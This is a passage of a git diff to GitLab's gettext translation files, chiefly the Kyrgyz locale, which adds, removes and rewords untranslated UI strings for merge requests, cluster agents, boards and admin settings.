+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ky_KG/gitlab.po b/locale/ky_KG/gitlab.po
index 8aba098537d..60ea5763e73 100644
--- a/locale/ky_KG/gitlab.po
+++ b/locale/ky_KG/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ky\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
